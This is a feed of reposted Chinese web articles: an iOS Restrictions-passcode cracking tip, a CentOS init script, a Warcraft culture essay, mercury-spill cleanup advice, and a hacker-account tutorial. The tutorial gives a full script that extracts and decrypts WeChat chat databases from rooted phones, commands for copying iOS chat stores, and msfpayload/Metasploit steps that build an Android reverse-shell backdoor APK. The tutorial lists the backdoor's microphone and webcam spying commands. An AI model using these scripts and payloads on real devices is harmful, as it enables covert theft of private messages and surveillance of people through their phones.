September 2, 2016 at 09:40PM
查看原文

对于一些粗心的朋友,如果忘记了你的iOS设备的限制密码,是一件非常头疼的事。通常都需要重新刷机才可以解决此问题,但是,现在有种方法可以无需刷机,破解掉访问密码,具体教程如下。

注意:经测试90%可行,同时修改系统文件可能导致白苹果,建议备份资料再操作。

1.用PP助手等第三方工具打开目录/var/mobile/Library/Preferences

2.找到并且打开com.apple.restrictionspassword.plist

以我的文件为例:

忘记访问限制密码?无需刷机教你破解IOS9访问限制密码

  打开网站:http://ift.tt/1pdaBGb

在网站里面:

RestrictionsPasswordKey:  填写的是    C3GFN1bcIGg+j0euhIZRkJLHKrQ=

[size=13.3333px]RestrictionsPasswordSalt:填写的是    OO2sTQ==    

 [size=13.3333px]

当然,这两个都会不一样的。

最后就是点击Search for Code 就OK了。

破解出来之后会有弹窗提示,同时页面也会出现提示

FOUND!! Passcode: 4506[size=13.3333px] with salt m0twcg==

[size=13.3333px] creates base64 key:j8dOCBHHwwwfGR7fxXu3H1V+3D8=

而我的访问限制密码就是4506   

在网站里面:

RestrictionsPasswordKey:  填写的是    C3GFN1bcIGg+j0euhIZRkJLHKrQ=

[size=13.3333px]RestrictionsPasswordSalt:填写的是    OO2sTQ==    

 [size=13.3333px]

当然,这两个都会不一样的。

最后就是点击Search for Code 就OK了。

破解出来之后会有弹窗提示,同时页面也会出现提示

FOUND!! Passcode: 4506[size=13.3333px] with salt m0twcg==

[size=13.3333px] creates base64 key:j8dOCBHHwwwfGR7fxXu3H1V+3D8=

而我的访问限制密码就是4506   

Sent By IFTTT

July 24, 2016 at 12:54PM
查看原文

 
Go Revel init script for CentOS 6.x 
 
Go Revel init script for CentOS 6.x:  
centos6-init-script.sh 
#!/bin/bash
# revel-app go/revel daemon
# chkconfig: 345 20 80
# description: revel-app daemon
# processname: revel-app

NAME="revel-app"
PIDFILE=/var/run/$NAME.pid

DAEMON_PATH="/opt/revel-app"
DAEMON="/bin/bash run.sh"
DAEMON_OPTS=""

case "$1" in
start)
    printf "%-50s" "Starting $NAME..."
    if [ -f $PIDFILE ]; then
        echo "Already running? (pid=`cat $PIDFILE`)"
    else
        cd $DAEMON_PATH
        PID=`$DAEMON $DAEMON_OPTS > /dev/null 2>&1 & echo $!`
        echo "$PID" > $PIDFILE
        echo "Ok. (pid=$PID)"
    fi
;;
status)
    printf "%-50s" "Checking $NAME..."
    if [ -f $PIDFILE ]; then
        PID=`cat $PIDFILE`
        if [ -z "`ps axf | grep ${PID} | grep -v grep`" ]; then
            printf "%s\n" "Process dead but pidfile exists."
        else
            echo "Running. (pid=$PID)"
        fi
    else
        printf "%s\n" "Service not running."
    fi
;;
stop)
    printf "%-50s" "Stopping $NAME"
    if [ -f $PIDFILE ]; then
        PID=`cat $PIDFILE`
        pkill -9 -P $PID
        printf "%s\n" "Ok."
        rm -f $PIDFILE
    else
        printf "%s\n" "Already stoppied? $PIDFILE not found."
    fi
;;
restart)
    $0 stop
    sleep 5
    $0 start
;;
*)
    echo "Usage: $0 {status|start|stop|restart}"
    exit 1
esac
If you want to be updated about similar snippets, Sign in and follow our Channels

Sent By IFTTT

July 3, 2016 at 10:49AM
查看原文

在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。

  文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。

  “如何获取Android、iPhone手机上的微信聊天记录? ”

  条件:

  安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

  Apple设备越狱,安装OpenSSH插件

  1 安卓:

  很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

  安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。

  Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/http://ift.tt/29hVuJI

  

  首先通过FTP把文件down到本地:

 

  以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

  

  用数据库管理器打开:提示加密或者不是数据库文件

  

  这里可以用windows环境下的SQLite Database Browser浏览器打开:

  

  提示输入密码:

  

  那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密

  微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:

  1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;

  2.通过抓取WEB版微信聊天的数据包获取到uin。

  1.1 App 配置文件

  find / -name “system_config_prefs.xml”

       

/data/data/http://ift.tt/298M0wz
cat /data/data/http://ift.tt/298M0wz | grep uin

    

<int name=”default_uin” value=”146****21″ />

  1.2 谷歌chrome浏览器登陆WEB版微信:

  

  登陆后新建窗口并访问chrome://net-internals/#events

  发送信息 抓包 find uin值

  

  uin:146****21

  

  通过上述两种方法找到的uin值是相同的。

  安卓拨号界面输入*#06#获得手机IMEI码:354**********85

  SIM值+uin值组合即为146****21354**********85

  md5: http://ift.tt/298MpPD 左侧加密

  

  得到32位小写md5值:a1edf9f5********************b5e5 取其前七位:a1edf9f输入到sql浏览器中。

  Linux、Mac用户也可以在终端执行:

echo -n “146****21354**********85” | md5sum | cut -c -7

    

    成功打开微信的数据库文件:

      

      

  Wechat2txt.py:gist.github.com

import os
import sys
import re
import hashlib
import csv
import time
import locale
import getopt

def get_db():
    os.popen(‘adb root’).close()
    text = os.popen(
        ‘adb shell ls /data/data/http://ift.tt/29hVrgH’).read()
    return text.splitlines()[- 1] if text else ”

def get_default_uin():
    os.popen(‘adb root’).close()
    text = os.popen(
        ‘adb shell cat /data/data/http://ift.tt/298M0wz’).read()
    default_uin = re.findall(
        ‘name=”default_uin” value=”([0-9]+)”‘, text)
    return default_uin[0] if default_uin else 0

def get_device_ID():
    text = os.popen(‘adb shell dumpsys iphonesubinfo’).read()
    device_ID = re.findall(‘Device ID = ([0-9]+)’, text)
    return device_ID[0] if device_ID else 0

def get_md5():
    default_uin = get_default_uin()
    device_ID = get_device_ID()
    if default_uin and device_ID:
        return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7]
    return ”

def parse_msgcsv(msgcsv):
    locale.setlocale(locale.LC_ALL, ”)
    if hasattr(msgcsv, ‘title’):
        msgcsv = [ooOoo0O + ‘\n’ for ooOoo0O in msgcsv.splitlines()]
        pass
    OooO0 = csv.reader(msgcsv)
    OooO0.next()
    for ooOoo0O in OooO0:
        try:
            II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[
                : 12]
            pass
        except:
            continue
        ooooooO0oo = ‘me’ if (Oo00OOOOO == ‘1’) else name
        IIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000)
        I1IIIii = time.strftime(“%Y-%m-%d %a %H:%M:%S”, IIiiiiiiIi1I1)
        yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0]
        pass
    pass

def get_names(chat):
    names = {}
    for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
        names[name] = 1
        pass
    return names.keys()

def oo(chat, name=”):
    text = []
    name = name.lower()
    for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
        iIi1ii1I1 = iIi1ii1I1.replace(‘\n’, ‘\n  ‘)
        o0 = (‘\t’ + o0) if o0 else ”
        if not name:
            text.append(‘%s: %s %s: %s %s’ %
                        (name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
            pass
        elif name.lower() == name:
            text.append(‘%s %s: %s %s’ %
                        (I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
            pass
        pass
    return ‘\n’.join(text) + ‘\n’

def IIIii1II1II(dbn, key=”):
    child_stdin, child_stdout = os.popen2([‘sqlcipher’, dbn])
    if key:
        child_stdin.write(‘PRAGMA key=%s;\n’ % ` key `)
        child_stdin.write(‘pragma cipher_use_hmac=off;\n’)
        pass
    child_stdin.write(‘.tables\n’)
    child_stdin.close()
    return child_stdout.read().split()

def decrypt(dbn, key=”, table=’message’):
    table = table or ‘message’
    child_stdin, child_stdout = os.popen2([‘sqlcipher’, dbn])
    child_stdin.write(‘.header on\n’)
    child_stdin.write(‘.mode csv\n’)
    if key:
        child_stdin.write(‘PRAGMA key=%s;\n’ % ` key `)
        child_stdin.write(‘pragma cipher_use_hmac=off;\n’)
        pass
    child_stdin.write(‘select * from %s;\n’ % ` table `)
    child_stdin.close()
    return child_stdout.read()

def wechat2txt(names=[]):
    in_file = ‘EnMicroMsg.db’
    out_file = ‘message.csv’
    db = get_db()
    md5 = get_md5()
    os.popen(‘adb wait-for-device’)
    os.popen(‘adb pull %s %s’ % (db, in_file)).close()
    msgcsv = decrypt(in_file, md5)
    if msgcsv.find(‘\n’) < 0:
        return 1
    file(out_file, ‘w’).write(msgcsv)
    msgs = list(parse_msgcsv(msgcsv))
    if not msgs:
        return 1
    if not names:
        names = get_names(msgs)
        pass
    for name in names:
        filename = ‘message.%s.txt’ % name
        text = oo(msgs, name)
        if len(text) > 4:
            file(filename, ‘w’).write(text)
            pass
        pass
    pass

help_msg = ”’Usage: wechat2txt.py [OPTIONS] [NAME]…

OPTIONS:
    -h        display this help and exit
”’

def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], ‘h’)
    except getopt.error, e:
        print help_msg
        return 1
    for opt, arg in opts:
        if opt == ‘-h’:
            print help_msg
            return 1
        pass
    names = args
    text = wechat2txt(names)
    return not text

if __name__ == “__main__”:
    sys.exit(main())

  2 苹果:

  Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:

  

  iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。

  在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。

find /var/mobile/Containers/Data -name “MM.sqlite” 

mkdir /cache
find /var/mobile/Containers/Data -name “MM.sqlite” |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

  在越狱iOS窃取隐私可参考:帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息 一文

  3 在安卓终端植入后门

  3.1 实验环境

  Kali Linux(Hack):192.168.31.213

  Android(靶机):192.168.31.118

  3.2生成后门文件:

cd Desktop
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk

  

  3.3 运行metasploit控制台

msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.31.213
set LPORT 443
run

  

  3.4 安装&运行后门App

   

          

  后门能进行什么操作?我们来看看usage:

meterpreter > help

Core Commands
=============

    Command                   Description
    ——-                   ———–
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for ‘load’
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    ——-       ———–
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    ——-       ———–
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    ——-       ———–
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS

Stdapi: Webcam Commands
=======================

    Command       Description
    ——-       ———–
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

  record_mic 通过手机麦克风进行窃听、录音;

  webcam_list 列出安卓设备的所有摄像头;

  webcam_snap 通过摄像头进行偷拍…

  等等

4 演示视频

  

5 APK后门分析:

把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码:

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置:

           

(apkStudio)

(Bytecodeviewer)

(Bytecodeviewer)

  6 预防&安全建议

  安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。

  苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。

  7 文中工具下载地址:

  SQLite Database Browser:http://ift.tt/298MgvC

  SSHDroid:http://ift.tt/29hVFV7

  0×08 参考&感谢

  How To Decrypt WeChat EnMicroMsg.db Database?

  Android微信数据导出

  微信聊天记录分析

  A look at WeChat security

  http://ift.tt/1ruAind

  帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息

  Hacking Android Smartphone Tutorial using Metasploit

路人甲别怂,出来跟丫死磕!

MySpace,3.6亿条记录!!公开下载!!!

黑客入侵银行全过程分析

写给在路上的人!

【纪念青葱岁月】那些年我们一起追过黑客网站!
比特币赞助打赏地址:13sbdFRyFBeqmXY9GJQf66s5cwmvLvWaAD

长按公众号,可“置顶

———————————-

要闻、干货、原创、专业
关注“黑白之道” 微信:i77169
华夏黑客同盟我们坚持,自由,免费,共享!

Sent By IFTTT

June 12, 2016 at 10:44PM
查看原文

摘要:不出意外,《魔兽》电影火了。尽管在上映之前,《魔兽》并没有获得外媒和专业影评人员的认可——被认为是剧情薄弱、逻辑不清、过渡偏向玩家,甚至在百分制 中被给出37分的评价,但这仍然不妨碍其从6月8日零点开始,在不到3天的时间内就在国内狂卷8亿票房。这一部分原因自然是“情怀”使然,作为史上评价最 高的游戏,无论是魔兽争霸还是魔兽世界,都代表了80后一代人的回忆。这种情怀使然的意外收获还在于,瞬间刮起了一股“魔兽风”。如果说当年玩WOW还被 看作是不务正业的话,现在却很多人羞于谈起自己没有接触过魔兽。

55d8095ea4a0b7a.jpg

文 | 杨君君

就像是很多人喜欢跟晚辈谈起当年的那些大事,虽然他们可能在当年的那个事情中甚至都不是一个旁观者,但每当人们谈起那个事情时,自己都会以恰巧生活在那个年代为背书,从只言片语中编出一个“完整”的故事。

这在崇尚“半小时读懂《红楼梦》”的时代并不稀奇。太多的功利性逼迫人们不断的吸食谈资,以便能从夸夸奇谈中找到一些“我知道的比你多”的优越感。但正是每个人都通过这种方式寻找存在感的时候,正好却验证了荣哥“集体无意识”的普遍性存在。

实际上,即使是很多魔兽的深度玩家,对于整个魔兽世界观和历史的了解也都一知半解,很少有人去完全的看过魔兽正史,大多数人也不过是试图从自己所接触到的魔兽一部分去争夺这场集体缅怀的话语权,他们所接触的就包括电影《魔兽》、魔兽争霸、魔兽世界、Dota甚至是英雄联盟。

电影《魔兽》—一个超长预告片

如果单纯从一部电影的角度来看,这部跳票十年的影片并不算是优秀,尽管它尽量的尊重了原版魔兽,也请了奥斯卡常客来做特效,但是就像是非得用120分钟诠释红楼梦那样,没有历史背景介绍,没有后续故事延伸,使得很多并没有玩过游戏的人甚至分不清楚大家说的联盟狗和部落猪说的是什么。

然而,这并不妨碍此次电影版《魔兽》的成功。这不仅仅体现在唤起的瞬间集体爆发力,更多的还在于让很多人了解,原来魔兽其实是一部这样有着宏大的著作。

这次电影版《魔兽》如果参照魔兽历史,讲的是War1(魔兽争霸1-人类和兽人)的故事,兽人被“欺骗者”基尔加丹利用在毁了德拉诺之后,打开黑暗之门,入侵艾泽拉斯,黑暗之门第一次开启,兽人和人类第一次大战打响。

严格来说,魔兽的故事具有很多那个年代的痕迹。并不按照时间顺序进行铺陈,经常会从现在跳转到史前,再加上大量时空扭曲,让人很难真正分清楚哪一件事对应的会是哪个时代。再加上网上流传的大量同人小说,更加混淆视听。万年坑王江南的《九州志》,多多少少也有类似的感觉。

对于很多刚开始了解魔兽的人来说,我从网上找了一下比较靠谱的盘点各个版本、小说的顺序。在小说里,这个故事之前按照先后顺序应该还有《永恒之井》、《恶魔之魂》、《天崩地裂》和《不碎之灵》,往后排应该是《黑暗之门》、《巨龙时代》、《诅咒之路》等等;在游戏中,这是魔兽争霸第一步,之后的是War2-黑潮、War2X-黑暗之门、War3-混乱之秩、War3X-冰封王座,后面才开始进入到魔兽世界。

所以,看完这部电影,没有精灵、亡灵等等种族,甚至对于萨格拉斯你都不知道,这很正常。因为现在的电影跟整个魔兽相比,只能算是它的一部预告片。

魔兽争霸—这才是真正的魔兽老玩家

在魔兽世界之前,魔兽争霸一直是暴雪主推的游戏。在当时,它与暗黑、星际争霸可以称作是“魔兽三杰”,几乎秒杀所有同时代的游戏。

现在很多人经常说到的魔兽老玩家,确切的来说,应该指的是魔兽争霸的玩家,而并非后来才有的魔兽世界。就国内来看,大部分人接触魔兽还是从War3X开始的,真正玩过War1的人可以说是凤毛菱角。

魔兽争霸的经典从其版本更新上也能看出端倪,从1994年开始的连续三年,暴风分别发布了War1、War2和War2X,从1996年开始,将近6年的时间,魔兽争霸没有发布新的版本,直到2002和2003年才分别推出War3-混乱之秩、War3X-冰封王座。6年不推新的版本,这放在当下,几乎不敢想象。但是,它从一开始具备了其成为经典的要素,6年不更新,但游戏玩家依旧火爆。

但唯一可怜的是,受限于当时游戏大多还是依靠卖游戏安装包的收入模式限定,在当时一切盗版的国内,尽管魔兽争霸火爆异常,但版权意识的薄弱和跨国的鞭长莫及,暴雪几乎没有从中国赚到什么钱。

值得注意的是,魔兽争霸使得当时竞技类游戏达到了一个空前的高潮,随之带来的是一大堆游戏赛事的火爆,WCG、G联赛、IEM等等,这些联赛成为了现在很多国内游戏的参考。而当时魔兽争霸的主要游戏对战,也成就了像是sky、moon等一大批当时的“游戏偶像”。

就像是当时几个大神都有其擅长的种族和熟悉的打法,人皇-sky(人族)、月魔-moon(精灵)、兽王-Grubby(兽族)、鬼王-Madfrog(不死族,存争议),魔兽争霸是魔兽历史上一个众星闪耀的时代。不仅仅意味着他们华丽而个性的玩法,更多的还在于当时深处电竞启蒙时期的氛围——游戏就是游戏,没有太多的其它因素。

与其说现在这部电影是魔兽世界玩家的狂欢,不如说这其实是属于人们对魔兽争霸的缅怀。

而在魔兽故事上,现在的这部电影就是讲的War1的故事,如果暴雪还是以游戏为核心去推演剧情的话,那么下一步应该会拍War2、War3……不过也有可能,暴雪在收回版权之后,也会跟小说那样,时不时的穿越拍个前传,交代一下之前的历史。

魔兽世界—游戏史上最璀璨的明珠

估计没有任何一款游戏能够再像魔兽世界那样,从推出的一开始就让全球玩家为之疯狂。

2004年,暴雪经过一年的开发,推出了网络游戏魔兽世界,并且开始在北美等一些国家开放测试。2005年,魔兽世界正式登陆中国,由第九城市代理。2009年,经过一段时间的代理商问题,魔兽世界最终落入网易的口袋,并代理至今。

魔兽世界在游戏市场中创造了多个奇迹,2004年玩家账号数就超过一亿,共有224个国家和地区的人在玩,2008年付费用户数就超过了1150万人。由于其超前于当时游戏太多的视觉、游戏设置,也使得魔兽从魔兽世界开始正式有优越感——或许在之前玩《红警》的并不认为比玩魔兽争霸的地端多少,但玩《大话西游》的一定会被魔兽世界的玩家视为低端。

魔兽世界的火爆除了在当时引发类似于一个宿舍人整体出动刷副本之外,还带来了众多亚文化的诞生,最经典的就是魔兽世界贴吧——唯一可以和帝吧抗衡的贴吧。在魔兽世界国内停服的那段时间,“贾君鹏”成了一代网红,甚至“你妈妈喊你回家吃饭”到现在仍然被很多并没有经历过那段时期的95后、00后使用。

魔兽世界代表了暴雪在魔兽系列中集游戏和商业化最好的模式,这当然不是指的暴雪终于摆脱了盗版的困扰,而是指的是在商业和游戏的平衡上,魔兽世界可以被称为是最后的挽尊。

魔兽世界讲的是天灾入侵艾泽拉斯之后的故事,联盟和部落之间的世界观也开始逐步的丰满,虽然在游戏中也有PVP服务器中联盟和部落一言不合就开始PK的热血场面,但是在小说里,联盟和部落已经不是从之前的纯对立状态,比如在对抗黑龙王子奈法利奥斯时,联盟和部落就有了合作。

目前,魔兽世界的版本有7个,分别是黑石之祸、燃烧的远征、巫妖王之怒、大帝的裂变、熊猫人之谜、德拉诺之王和军团再临,每个版本都有其对应的资料片。不出意外的话,魔兽争霸应该不会再继续更新,而作为魔兽整个历史的延续,魔兽世界应该会不断的更新下去。虽然可能有朝一日,PC的网游时代终将结束,但即便如此,AR、VR等一系列元素的融入,只会让魔兽世界的游戏更加精彩,而未来的电影主线也会真正的围绕魔兽世界展开。

Dota—魔兽争霸一场意外的狂欢

严格意义上来看,Dota并不完全属于暴雪。

Dota最早是魔兽争霸RPG游戏中的一个地图,最早是由Euls的玩家制作,在2005年,IceFrog开始全盘接手Dota地图的更新。

在当时,与Dota类似的RPG游戏还有真三国无双、守卫雅典娜等等,但Dota无疑将魔兽争霸3X推上了顶峰,甚至一举超越了魔兽争霸的对战。尤其是在一些已经相对成熟的联赛里,Dota成为了最重头的游戏。跟魔兽对战一样,Dota成就了更多的电竞明星,2009、820、小乖、老鼠,而且还成就了一批像是海涛、单车等Dota解说。

也就是从Dota开始,成就了职业游戏解说和玩家从视频解说到淘宝店的成功路,像是现在很多LOL解说,也都大多数照搬了前辈们摸索的成果。

各种丰富的道具、玩法让Dota成为了一个完全可以脱离魔兽争霸而独立存在的游戏,因此IceFrog在2012年联合美国Valve公司推出了画面更精致的独立游戏《Dota2》。

需要说明的是,Icefrog在Dota1时代,跟魔兽争霸类似,并没有获得太大的商业成功,但在Dota2时代,增加了售卖饰品、道具,以此来获得一定收入。不过,由于目前国内是阉割版的Dota2,所以没有玩家间的自由交易,只能官方卖给玩家的单向交易。

Icefrog并不属于暴雪,所以在Dota的故事架构中跟魔兽的主情节并没有太大关系。以男巫、食尸鬼组合的天灾军团和以树人和德鲁伊组成的近卫军团分别代表着邪恶和正义,它们之间不断进行战争。如果把魔兽整个故事比作是《三国演义》,整个故事围绕魏蜀吴三国之间开展,而Dota则像是恶搞版,根据书中的人物分为了南方人和北方人来打。虽然名字一样,但并没有太大关系。看过《此间的少年》的人一定对这种方式不陌生。

然而,即便如此,IceFrog显然也是魔兽历史的资深研究者。Dota整个地图中地形名费伍德森林,而费伍德森林是魔兽世界中的游戏地图,位于卡利姆多境内的一片森林;DOta中还有一些英雄技能,也可以对应到魔兽中的人物的形象和性格。

比如Dota中的斧王,就取自魔兽的地狱咆哮。魔兽中的地狱咆哮是兽人历史上最强大的战士,它本身的淘汰之刃技能在Dota中得到了很好的传承,就像是秒掉玛诺洛斯,在Dota中它也可以淘汰掉血量低于一定限度的英雄。类似英雄还有Dota中的灵魂守卫对应的背叛者伊利丹-怒风、风行者对应幽暗城女王 希尔瓦纳斯……

对于那些有Dota情节的人来说,期待暴雪推出Dota背景的电影估计可能性不大,因为Dota的创作权属于IceFrog,唯一的可能就是IceFrog有没有机会跟暴雪联合推出一个魔兽外传。

英雄联盟—德玛西亚和艾泽拉斯之间没有战争

如果说Dota都属于魔兽故事的外传系列,那么托生于Dota的英雄联盟则跟魔兽之间没有半毛钱关系。或者我们可以这样说,英雄联盟更多的就是一个商业游戏,跟魔兽的可比性……

英雄联盟是由美国Riot Games开发,由腾讯代理运营。其主创是由Dota的主要开发者Steve Guinsoo(Dota中的羊刀)亲手操刀设计,其游戏模式跟Dota极为类似,但不同的地方有两点:

一是英雄联盟带动了更多玩家的参与,由于本身英雄联盟的游戏操作难度上的下降(这无可厚非,Dota比魔兽对战的操作难度也降低了很多,魔兽比《星级争霸》也少了很多),引入了更多用户的参与,这大部分归功于腾讯的功劳;

另一个则是其在商业化上的成功,让很多人终于意识到单机类游戏改为网络游戏的商业化之路。实际上,现在很多游戏,包括《火影忍者》、《王者荣耀》的商业模式都是参照英雄联盟设计的。符文、英雄、皮肤……

但是,英雄联盟一直为人所诟病的一点则是过渡的商业化,“腾讯系游戏是史上最费钱的游戏”,相信很多游戏玩家都有所体会。对比暴雪系的游戏,腾讯在游戏运营上设置的各个商业化路径,虽然巧妙但是让很多玩家无力负担。不过这并不妨碍英雄联盟仍然是游戏史上最成功的游戏之一。依托腾讯强大的资源,围绕英雄联盟相关的赛事、直播、解说、玩家都超过了前辈Dota。

在故事层面,英雄联盟完全是另外一套体系,它甚至连Dota里似曾相识的魔兽原型都不存在。

英雄联盟发生在瓦罗兰(符文大地中生命聚集地),由大法师们为解决政治和经济危机成立的一个组织。瓦罗兰上有十几个人类城邦,很多人都知道的德玛西亚是瓦罗兰的城邦之一,后续被很多人演绎成为一个英雄联盟玩家之间代表正能量的口号。而至于盖伦、嘉文四世则是它的代表人物(英雄联盟有着自己独特的故事背景,很长)。

随着魔兽的成功,很多人认为英雄联盟和魔兽之间必有一战。相信有这种看法的人大多是英雄联盟的玩家,因为在很多玩魔兽争霸和魔兽世界的人的心里,玩Dota的都只能算作近亲,而近亲的近亲则就属于八竿子打不着的关系。即使对魔兽世界和英雄联盟的双重玩家来说,他们也很难将英雄联盟和魔兽相提并论。

虽然两者都有一个庞大的世界观,但从发展上,魔兽的成熟度都高过英雄联盟太多。前者可以延伸出众多类似于Dota的脉络,而后者则还在做构建世界观的事情。一个问题,多少英雄联盟的玩家看过游戏历史,相反,很多魔兽的玩家都是故事的资深阅读者和捍卫者。

所以,英雄联盟的对标对象是现在的《Dota2》,而并非是魔兽,因为这两个从游戏模式上来看,也完全不是一个体系。

由于这次《魔兽》电影里,腾讯影业有参与制作和发行,在影片开头有一个企鹅形象的出现,但据说在很多影院,这个镜头出现的时候满场嘘声。

固然,这属于不同游戏玩家形成的“鄙视链”作祟——很多魔兽玩家将英雄联盟的玩家看成是菜鸟互啄,但我更想说的是,这其实也可以看做是一种对经典的致敬,属于一种正向意识流。就好比是大家在《红楼梦》的开头看到一个网络小说的序章然后心里奔腾草泥马那样,正确的意识流下,这本身也确实是一个值得吐槽的点。

有很多暴发户在有钱之后,都会在家里建一个大书房,或者进行收藏来附庸风雅。在我看来,这是一种太需要提倡的东西了。最起码这些人还能分清楚好坏,最起码这些人没有叉腰大喊,“老子就是不认识字,但就TM有钱怎么样”。

看到一个朋友在朋友圈略带伤感的评论,“魔兽之后再无魔兽”,这应该不仅仅是对魔兽,更是对整个社会的无奈。在这样一个“速食文化”盛行的时代,很难再有那样的时间、那样的机遇去打磨一个作品了。

致敬,挽尊!

Sent By IFTTT

May 22, 2016 at 08:58PM
查看原文

今天,我用水银温度计测体温时,不小心把温度给打了,水银就撒了这个地板和床单上。第一反应是:赶快用卫生纸收集所有的水银珠。随后在网上想找科学的清洗的方法。但是发现,中文网站上没有官方的解决方法。不过,在百度知道里,网友给了不少方法,其中竟然说温度计那点水银没有事情,不用处理。中国公众缺少一个科学权威的处理水银方法。为此,我查询了相关文献和美国环境保护署EPA)的网站,得到一些科学的处理撒水银的方法。

1. 温度计里的水银有多少?会造成伤害嘛?

一般温度计水银含量是0.5克。(在极端情况)如果这些水银挥发到一件面积40平方米,高2.5米的房子里,那么水银在空气中的浓度高达0.5g/40×2.5m3=0.005g/m3, 也就是5mg/m3 , 这远远高于居民区大气污染物标准0.0003 mg/m3

当然,这种不会在实际情况下发生。但这不意味这水银对我们的一点危害都没有,还是按照科学方法进行清理。

2.打了水银温度计该如何办?

首先:疏散所有人和动物,不让人从水银洒落处经过;

其次:打开窗户和门窗;

再次:A如果水银在木头,油布或者抛光家具等光滑表面,可以比较容易清洗水银

      B如果水银撒在地毯、窗帘、床单、衣服或者其他粗糙或者易包容水银球的表面,那么,这些受污染的地方就要剪下去扔掉。

最后:水银和水银的污染物都要密封保存,标记后交给相关卫生环境部门处理。

 

警告!!!!!

不要用吸尘器:吸尘器会打吹水银到空气中,增加呼吸暴露。

不要用笤帚:笤帚会打撒水银。

不要倾倒水银到下水道:这会污染当地水源。

不要清洗接触水银的衣物:这样会污染洗衣机,被污染的衣服需要扔掉。

不要穿着被污染的鞋子走来走去:被污染的鞋子要扔掉,走来走去会扩大污染区域。

 

3. 如何清洗撒落的水银呢?

a.带上橡胶、丁腈或者胶乳手套, 防止皮肤接触。

b.首先捡起那些碎玻璃片或者尖刺物体,把他们收集到密封袋中,交给卫生部门或者环境部门

c.找到较大块的水银珠,用纸板收集水银: 水银撒落会变成水银珠,滚动很快,如果地面较光滑平整,可能整个屋里都撒落水银,所以要查看房屋每个角落。

d.用滴管或者纸张,小心收集水银球,随后放入密封塑料袋中。

e.对于较小的颗粒,用剃须膏涂在小刷子上,一点点粘;或者用胶带粘;

  收集的水银、用过的刷子和胶带都要密封在塑料袋,标记好送到环保相关部门,以防污染环境。

f. (可选,但不必须)可以用硫磺来吸收用眼睛看不到的水银珠。原理:硫磺遇到水银从黄色变成褐色,硫磺结合水银组织水银挥发,同时也利于清理。

在哪买硫磺?硫磺可能是以水银吸收剂来卖的,可以在实验室,工业或者危险物反应处理供应商那买到。

g. 如果你不用硫磺,那你可以让专门的环境部门测量屋内气体的水银含量并且做相关处理。

h. 通风至少24小时候再进入,当中不要让孩子和宠物等接触此污染地。如果发现不适,请迅速联系当地医疗和环境部门。

推荐:如果有小孩子或者孕妇在房子里,请联系当地的环境部门得到更多安全信息。

 

